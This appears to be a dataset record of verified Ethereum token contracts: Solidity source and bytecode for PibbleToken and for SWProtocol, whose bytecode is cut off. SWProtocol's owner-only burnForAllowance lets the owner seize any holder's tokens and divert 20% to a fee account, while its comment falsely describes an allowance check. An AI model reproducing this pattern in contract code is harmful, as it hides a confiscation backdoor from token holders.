* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title SampleCrowdsaleToken
* @dev Very simple ERC20 Token that can be minted.
* It is meant to be used in a crowdsale contract.
*/
contract PibbleToken is MintableToken {
string public constant name = "Pibble Token"; // solium-disable-line uppercase
string public constant symbol = "PIB"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = (10*1000*1000*1000) * (10 ** uint256(decimals)); // 10 billion coin
event Burn(address indexed burner, uint256 value);
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function PibbleToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
} | 0x6060604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010157806306fdde031461012e578063095ea7b3146101bc57806318160ddd1461021657806323b872dd1461023f5780632ff2e9dc146102b8578063313ce567146102e157806340c10f191461031057806342966c681461036a578063661884631461038d57806370a08231146103e75780637d64bcb4146104345780638da5cb5b1461046157806395d89b41146104b6578063a9059cbb14610544578063d73dd6231461059e578063dd62ed3e146105f8578063f2fde38b14610664575b600080fd5b341561010c57600080fd5b61011461069d565b604051808215151515815260200191505060405180910390f35b341561013957600080fd5b6101416106b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610181578082015181840152602081019050610166565b50505050905090810190601f1680156101ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c757600080fd5b6101fc600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106e9565b604051808215151515815260200191505060405180910390f35b341561022157600080fd5b6102296107db565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107e5565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb610b9f565b6040518082815260200191505060405180910390f35b34156102ec57600080fd5b6102f4610bb1565b604051808260ff1660ff16815260200191505060405180910390f35b341561031b57600080fd5b610350600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bb6565b604051808215151515815260200191505060405180910390f35b341561037557600080fd5b61038b6004808035906020019091905050610d9c565b005b341561039857600080fd5b6103cd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610eee565b604051808215151515815260200191505060405180910390f35b34156103f257600080fd5b61041e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061117f565b6040518082815260200191505060405180910390f35b341561043f57600080fd5b6104476111c7565b604051808215151515815260200191505060405180910390f35b341561046c57600080fd5b61047461128f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104c157600080fd5b6104c96112b5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105095780820151818401526020810190506104ee565b50505050905090810190601f1680156105365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561054f57600080fd5b610584600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112ee565b604051808215151515815260200191505060405180910390f35b34156105a957600080fd5b6105de600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061150d565b604051808215151515815260200191505060405180910390f35b341561060357600080fd5b61064e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611709565b6040518082815260200191505060405180910390f35b341561066f57600080fd5b61069b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611790565b005b600360149054906101000a900460ff1681565b6040805190810160405280600c81526020017f506962626c6520546f6b656e000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561082257600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561086f57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108fa57600080fd5b61094b826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109de826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aaf82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a6402540be4000281565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c1457600080fd5b600360149054906101000a900460ff16151515610c3057600080fd5b610c458260015461190190919063ffffffff16565b600181905550610c9c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610deb57600080fd5b339050610e3f826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e890919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e96826001546118e890919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610fff576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611093565b61101283826118e890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561122557600080fd5b600360149054906101000a900460ff1615151561124157600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f504942000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561132b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561137857600080fd5b6113c9826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061145c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061159e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117ec57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561182857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156118f657fe5b818303905092915050565b600080828401905083811015151561191557fe5b80915050929150505600a165627a7a72305820548900a4111ff3ca8a283ef08a51d66241590b3ee60ae52330550a935a016b2e0029 | {"success": true, "error": null, "results": {}} | 134 |
0x709ca71ebf34a3635bc7086d90f50f711b91c782 | pragma solidity ^0.5.1;
// ----------------------------------------------------------------------------
// 'SWP' 'SWProtocol' token contract
//
// Symbol : SWP
// Name : SW Protocol
// Total supply: 10,000.000000000000000000
// Decimals : 18
// Website : https://swprotocol.com
// Website App : https://app.swprotocol.com
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
emit OwnershipTransferred(owner, newOwner);
}
}
// ----------------------------------------------------------------------------
// Tokenlock contract
// ----------------------------------------------------------------------------
contract Tokenlock is Owned {
uint8 isLocked = 0; //flag indicates if token is locked
event Freezed();
event UnFreezed();
modifier validLock {
require(isLocked == 0);
_;
}
function freeze() public onlyOwner {
isLocked = 1;
emit Freezed();
}
function unfreeze() public onlyOwner {
isLocked = 0;
emit UnFreezed();
}
}
// ----------------------------------------------------------------------------
// Limit users in blacklist
// ----------------------------------------------------------------------------
contract UserLock is Owned {
mapping(address => bool) blacklist;
event LockUser(address indexed who);
event UnlockUser(address indexed who);
modifier permissionCheck {
require(!blacklist[msg.sender]);
_;
}
function lockUser(address who) public onlyOwner {
blacklist[who] = true;
emit LockUser(who);
}
function unlockUser(address who) public onlyOwner {
blacklist[who] = false;
emit UnlockUser(who);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ----------------------------------------------------------------------------
contract SWProtocol is ERC20Interface, Tokenlock, UserLock {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "SWP";
name = "SWProtocol";
decimals = 18;
_totalSupply = 10000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public validLock permissionCheck returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public validLock permissionCheck returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public validLock permissionCheck returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Destroys `amount` tokens from `account`, reducing the
// total supply.
// Emits a `Transfer` event with `to` set to the zero address.
// Requirements
// - `account` cannot be the zero address.
// - `account` must have at least `amount` tokens.
// ------------------------------------------------------------------------
function burn(uint256 value) public validLock permissionCheck returns (bool success) {
require(msg.sender != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
balances[msg.sender] = balances[msg.sender].sub(value);
emit Transfer(msg.sender, address(0), value);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public validLock permissionCheck returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Destoys `amount` tokens from `account`.`amount` is then deducted
// from the caller's allowance.
// See `burn` and `approve`.
// ------------------------------------------------------------------------
function burnForAllowance(address account, address feeAccount, uint256 amount) public onlyOwner returns (bool success) {
require(account != address(0), "burn from the zero address");
require(balanceOf(account) >= amount, "insufficient balance");
uint feeAmount = amount.mul(2).div(10);
uint burnAmount = amount.sub(feeAmount);
_totalSupply = _totalSupply.sub(burnAmount);
balances[account] = balances[account].sub(amount);
balances[feeAccount] = balances[feeAccount].add(feeAmount);
emit Transfer(account, address(0), burnAmount);
emit Transfer(account, msg.sender, feeAmount);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0x608060405260043610610101576000357c01000000000000000000000000000000000000000000000000000000009004806306fdde0314610106578063095ea7b31461019657806318160ddd1461020957806323b872dd14610234578063313ce567146102c757806332790343146102f857806342966c681461038b57806362a5af3b146103de5780636a28f000146103f557806370a082311461040c5780638da5cb5b1461047157806395d89b41146104c8578063a9059cbb14610558578063bd1870a3146105cb578063cae9ca511461061c578063d797258014610726578063dc39d06d14610777578063dd62ed3e146107ea578063f2fde38b1461086f575b600080fd5b34801561011257600080fd5b5061011b6108c0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015b578082015181840152602081019050610140565b50505050905090810190601f1680156101885780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a257600080fd5b506101ef600480360360408110156101b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061095e565b604051808215151515815260200191505060405180910390f35b34801561021557600080fd5b5061021e610ac9565b6040518082815260200191505060405180910390f35b34801561024057600080fd5b506102ad6004803603606081101561025757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b24565b604051808215151515815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610e48565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030457600080fd5b506103716004803603606081101561031b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e5b565b604051808215151515815260200191505060405180910390f35b34801561039757600080fd5b506103c4600480360360208110156103ae57600080fd5b810190808035906020019092919050505061123c565b604051808215151515815260200191505060405180910390f35b3480156103ea57600080fd5b506103f36114a1565b005b34801561040157600080fd5b5061040a611546565b005b34801561041857600080fd5b5061045b6004803603602081101561042f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115ea565b6040518082815260200191505060405180910390f35b34801561047d57600080fd5b50610486611633565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104d457600080fd5b506104dd611658565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561051d578082015181840152602081019050610502565b50505050905090810190601f16801561054a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561056457600080fd5b506105b16004803603604081101561057b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116f6565b604051808215151515815260200191505060405180910390f35b3480156105d757600080fd5b5061061a600480360360208110156105ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061190a565b005b34801561062857600080fd5b5061070c6004803603606081101561063f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561068657600080fd5b82018360208201111561069857600080fd5b803590602001918460018302840111640100000000831117156106ba57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611a03565b604051808215151515815260200191505060405180910390f35b34801561073257600080fd5b506107756004803603602081101561074957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ccb565b005b34801561078357600080fd5b506107d06004803603604081101561079a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611dc3565b604051808215151515815260200191505060405180910390f35b3480156107f657600080fd5b506108596004803603604081101561080d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f27565b6040518082815260200191505060405180910390f35b34801561087b57600080fd5b506108be6004803603602081101561089257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fae565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109565780601f1061092b57610100808354040283529160200191610956565b820191906000526020600020905b81548152906001019060200180831161093957829003601f168201915b505050505081565b600080600060149054906101000a900460ff1660ff1614151561098057600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156109d957600080fd5b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610b1f600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546005546120c790919063ffffffff16565b905090565b600080600060149054906101000a900460ff1660ff16141515610b4657600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610b9f57600080fd5b610bf182600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c790919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cc382600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c790919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d9582600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e390919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eb857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610f5d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f6275726e2066726f6d20746865207a65726f206164647265737300000000000081525060200191505060405180910390fd5b81610f67856115ea565b10151515610fdd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f696e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b6000611006600a610ff86002866120ff90919063ffffffff16565b61213090919063ffffffff16565b9050600061101d82856120c790919063ffffffff16565b9050611034816005546120c790919063ffffffff16565b60058190555061108c84600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c790919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061112182600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e390919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952b